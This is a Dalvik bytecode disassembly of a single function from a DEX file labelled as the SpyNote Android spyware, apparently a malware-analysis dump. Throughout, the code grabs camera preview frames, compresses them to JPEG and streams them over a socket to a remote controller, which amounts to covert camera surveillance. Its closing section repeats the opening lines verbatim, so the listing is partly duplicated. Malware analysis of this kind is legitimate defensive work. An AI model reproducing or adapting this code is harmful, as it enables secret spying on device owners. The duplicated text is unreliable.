File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
Loading..
00084688
00084688cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Object[]):
00084698iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008469cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->g(Lcmf0/c3b5bm90zq/patch/C5;)Z
000846a2move-result v13
000846a4if-eqz v13, :cond_320
000846a8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846acinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846b2move-result-object v13
000846b4invoke-interface {v13}, Ljava/util/List;->size()I
000846bamove-result v13
000846bcif-lez v13, :cond_0
000846c0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846c4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846camove-result-object v13
000846ccinvoke-interface {v13}, Ljava/util/List;->size()I
000846d2move-result v13
000846d4if-lez v13, :cond_0
000846d8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846dcinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846e2move-result-object v13
000846e4const/4 v0, 0x0
000846e6invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
000846ecmove-result-object v13
000846eecheck-cast v13, Ljava/lang/Long;
000846f2invoke-virtual {v13}, Ljava/lang/Long;->longValue()J
000846f8move-result-wide v1
000846faiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846feinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084704move-result-object v13
00084706invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
0008470cmove-result-object v13
0008470echeck-cast v13, [B
00084712check-cast v13, [B
00084716iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008471ainvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
00084720move-result-wide v3
00084722cmp-long v5, v3, v1
00084726if-nez v5, :cond_2e3
0008472asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008472econst-wide/16 v4, 0x53
00084732const-wide/16 v6, 0x45
00084736if-eqz v3, :cond_2b7
0008473asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008473einvoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084744move-result-object v3
00084746invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
0008474cmove-result-object v8
0008474eiget v9, v8, Landroid/hardware/Camera$Size;->width:I
00084752invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
00084758move-result-object v3
0008475aiget v10, v3, Landroid/hardware/Camera$Size;->height:I
0008475einvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084764move-result-object v3
00084766if-eqz v3, :cond_28c
0008476aiget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008476eiget-boolean v3, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
00084772const/4 v8, 0x1
00084774if-ne v3, v8, :cond_261
00084778iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008477cinvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084782move-result-object v3
00084784if-eqz v3, :cond_232
00084788iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008478cinvoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084792move-result-wide v4
00084794invoke-static {v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;J)J
0008479anew-instance v11, Landroid/graphics/YuvImage;
0008479econst/16 v5, 0x11
000847a2const/4 v8, 0x0
000847a4move-object v3, v11
000847a6move-object v4, v13
000847a8move v6, v9
000847aamove v7, v10
000847acinvoke-direct/range {v3 .. v8}, Landroid/graphics/YuvImage;-><init>([BIII[I)V
000847b2new-instance v3, Ljava/io/ByteArrayOutputStream;
000847b6array-length v13, v13
000847b8invoke-direct {v3, v13}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
000847benew-instance v13, Landroid/graphics/Rect;
000847c2invoke-direct {v13, v0, v0, v9, v10}, Landroid/graphics/Rect;-><init>(IIII)V
000847c8sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
000847ccinvoke-virtual {v11, v13, v4, v3}, Landroid/graphics/YuvImage;->compressToJpeg(Landroid/graphics/Rect;ILjava/io/OutputStream;)Z
000847d2invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
000847d8move-result-wide v4
000847daiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000847deinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
000847e4move-result-wide v6
000847e6const/4 v13, 0x0
000847e8sub-long/2addr v4, v6
000847eaiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000847eeinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
000847f4move-result v13
000847f6int-to-long v6, v13
000847f8cmp-long v13, v4, v6
000847fcif-gez v13, :cond_22d
00084800invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->size()I
00084806move-result v13
00084808sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008480cconst/16 v5, 0x47
00084810if-ne v4, v5, :cond_f6
00084814const v4, 0xf000
0008481aif-le v13, v4, :cond_c8
0008481econst/16 v4, 0xa
00084822sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084826goto :goto_f6
00084828const v4, 0xc800
0008482eif-le v13, v4, :cond_d2
00084832const/16 v4, 0x14
00084836sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008483agoto :goto_f6
0008483cconst v4, 0xa000
00084842if-le v13, v4, :cond_dc
00084846const/16 v4, 0x1e
0008484asput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008484egoto :goto_f6
00084850const/16 v4, 0x7800
00084854if-le v13, v4, :cond_e5
00084858const/16 v4, 0x28
0008485csput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084860goto :goto_f6
00084862const/16 v4, 0x5000
00084866if-le v13, v4, :cond_ee
0008486aconst/16 v4, 0x32
0008486esput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084872goto :goto_f6
00084874const/16 v4, 0x2800
00084878if-le v13, v4, :cond_f6
0008487cconst/16 v4, 0x3c
00084880sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084884new-instance v4, Ljava/lang/StringBuilder;
00084888invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
0008488esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084892const-wide/16 v7, 0x47
00084896invoke-static {v5, v6, v7, v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008489cmove-result-object v5
0008489einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848a4sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000848a8invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848aeinvoke-virtual {v4, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
000848b4invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000848bamove-result-object v1
000848bcinvoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
000848c2move-result-object v2
000848c4new-instance v4, Ljava/lang/StringBuilder;
000848c8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
000848ceinvoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848d4sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
000848d8invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848deinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000848e4move-result-object v1
000848e6new-instance v4, Ljava/io/ByteArrayOutputStream;
000848eainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
000848f0move-result-object v5
000848f2array-length v5, v5
000848f4add-int/2addr v5, v13
000848f6invoke-direct {v4, v5}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
000848fcinvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084902move-result-object v13
00084904invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
0008490ainvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084910move-result-object v13
00084912invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
00084918invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
0008491emove-result-wide v5
00084920iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084924invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
0008492amove-result-wide v7
0008492cconst/4 v13, 0x0
0008492esub-long/2addr v5, v7
00084930iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084934invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
0008493amove-result v13
0008493cint-to-long v7, v13
0008493ecmp-long v13, v5, v7
00084942if-gez v13, :cond_225
00084946new-instance v13, Ljava/io/ByteArrayOutputStream;
0008494ainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084950move-result v1
00084952invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
00084958move-result-object v1
0008495ainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084960move-result-object v1
00084962array-length v1, v1
00084964invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
0008496amove-result-object v5
0008496carray-length v5, v5
0008496eadd-int/2addr v1, v5
00084970invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084976move-result v5
00084978add-int/2addr v1, v5
0008497ainvoke-direct {v13, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
00084980invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084986move-result v1
00084988invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
0008498emove-result-object v1
00084990invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084996move-result-object v1
00084998invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
0008499einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
000849a4move-result-object v1
000849a6invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
000849acinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
000849b2move-result-object v1
000849b4invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
000849bainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
000849c0invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
000849c6move-result-wide v1
000849c8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849ccinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
000849d2move-result-wide v5
000849d4const/4 v7, 0x0
000849d6sub-long/2addr v1, v5
000849d8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849dcinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
000849e2move-result v5
000849e4int-to-long v5, v5
000849e6cmp-long v7, v1, v5
000849eaif-gez v7, :cond_21a
000849eeinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
000849f4move-result-object v1
000849f6monitor-enter v1
000849f8iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849fcinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084a02move-result-object v2
00084a04if-eqz v2, :cond_20b
00084a08invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084a0emove-result-object v2
00084a10invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084a16move-result-object v5
00084a18array-length v5, v5
00084a1amul-int/lit8 v5, v5, 0xf
00084a1einvoke-virtual {v2, v5}, Ljava/net/Socket;->setSendBufferSize(I)V
00084a24iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a28invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084a2emove-result-object v5
00084a30invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
00084a36move-result-object v5
00084a38invoke-static {v2, v5}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
00084a3eiget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a42invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084a48move-result-object v2
00084a4ainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084a50move-result-object v5
00084a52invoke-virtual {v2, v5}, Ljava/io/OutputStream;->write([B)V
00084a58invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084a5emove-result-wide v5
00084a60iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a64invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
00084a6amove-result-wide v7
00084a6cconst/4 v2, 0x0
00084a6esub-long/2addr v5, v7
00084a70iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a74invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
00084a7amove-result v2
00084a7cint-to-long v7, v2
00084a7ecmp-long v2, v5, v7
00084a82if-gez v2, :cond_20b
00084a86long-to-int v2, v5
00084a88invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
00084a8emove-result-object v2
00084a90iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a94invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
00084a9amove-result v5
00084a9cinvoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
00084aa2move-result v2
00084aa4sub-int/2addr v5, v2
00084aa6int-to-long v5, v5
00084aa8invoke-static {v5, v6}, Ljava/lang/Thread;->sleep(J)V
00084aaeinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ab4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084abainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
00084ac0monitor-exit v1
00084ac2goto/16 :goto_2e3
00084ac6move-exception v13
00084ac8monitor-exit v1
00084acathrow v13
00084accinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ad2invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084ad8invoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
00084adegoto/16 :goto_2e3
00084ae2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ae8invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084aeegoto/16 :goto_2e3
00084af2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084af8goto/16 :goto_2e3
00084afcnew-instance v13, Ljava/lang/StringBuilder;
00084b00invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084b06sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b0ainvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b10move-result-object v1
00084b12invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b18sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b22const-string v1, "outputStream =null"
00084b26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b2csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b36sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b3ainvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b40move-result-object v1
00084b42invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b48invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084b4emove-result-object v13
00084b50invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00084b56goto/16 :goto_2e3
00084b5anew-instance v13, Ljava/lang/StringBuilder;
00084b5einvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084b64sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b68invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b6emove-result-object v1
00084b70invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b76sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b7ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b80const-string v1, "ctd =false"
00084b84invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b8asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b8einvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b94sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b98invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b9emove-result-object v1
00084ba0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084ba6invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084bacmove-result-object v13
00084baegoto :goto_25c
00084bb0new-instance v13, Ljava/lang/StringBuilder;
00084bb4invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084bbasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084bbeinvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084bc4move-result-object v1
00084bc6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bccsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084bd0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bd6const-string v1, "socket =null"
00084bdainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084be0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084be4invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084beasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084beeinvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084bf4move-result-object v1
00084bf6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bfcinvoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084c02move-result-object v13
00084c04goto :goto_25c
00084c06new-instance v13, Ljava/lang/StringBuilder;
00084c0ainvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084c10sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084c14invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084c1amove-result-object v1
00084c1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c22sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084c26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c2cconst-string v1, "camera =null"
00084c30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c36sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084c3ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c40sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084c44invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084c4amove-result-object v1
00084c4cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c52invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084c58move-result-object v13
00084c5agoto/16 :goto_25c
00084c5eiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c62invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c68move-result-object v13
00084c6ainvoke-interface {v13}, Ljava/util/List;->size()I
00084c70move-result v13
00084c72if-lez v13, :cond_2f8
00084c76iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c7ainvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c80move-result-object v13
00084c82invoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
00084c88iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c8cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c92move-result-object v13
00084c94invoke-interface {v13}, Ljava/util/List;->size()I
00084c9amove-result v13
00084c9cif-lez v13, :cond_30d
00084ca0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084ca4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084caamove-result-object v13
00084cacinvoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
00084cb2iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084cb6iget-object v0, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084cbainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
00084cc0move-result-wide v0
00084cc2const-wide/16 v2, 0x1
00084cc6add-long/2addr v0, v2
00084cc8invoke-static {v13, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;J)J
00084ccegoto/16 :goto_0
00084cd2nop
00084cd4goto/16 :goto_0
00084cd8const-string v13, "-->"
00084cdcreturn-object v13
00084688
00084688cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Object[]):
00084698iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008469cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->g(Lcmf0/c3b5bm90zq/patch/C5;)Z
000846a2move-result v13
000846a4if-eqz v13, :cond_320
000846a8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846acinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846b2move-result-object v13
000846b4invoke-interface {v13}, Ljava/util/List;->size()I
000846bamove-result v13
000846bcif-lez v13, :cond_0
000846c0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846c4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846camove-result-object v13
000846ccinvoke-interface {v13}, Ljava/util/List;->size()I
000846d2move-result v13
000846d4if-lez v13, :cond_0
000846d8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846dcinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
000846e2move-result-object v13
000846e4const/4 v0, 0x0
000846e6invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
000846ecmove-result-object v13
000846eecheck-cast v13, Ljava/lang/Long;
000846f2invoke-virtual {v13}, Ljava/lang/Long;->longValue()J
000846f8move-result-wide v1
000846faiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000846feinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084704move-result-object v13
00084706invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
0008470cmove-result-object v13
0008470echeck-cast v13, [B
00084712check-cast v13, [B
00084716iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008471ainvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
00084720move-result-wide v3
00084722cmp-long v5, v3, v1
00084726if-nez v5, :cond_2e3
0008472asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008472econst-wide/16 v4, 0x53
00084732const-wide/16 v6, 0x45
00084736if-eqz v3, :cond_2b7
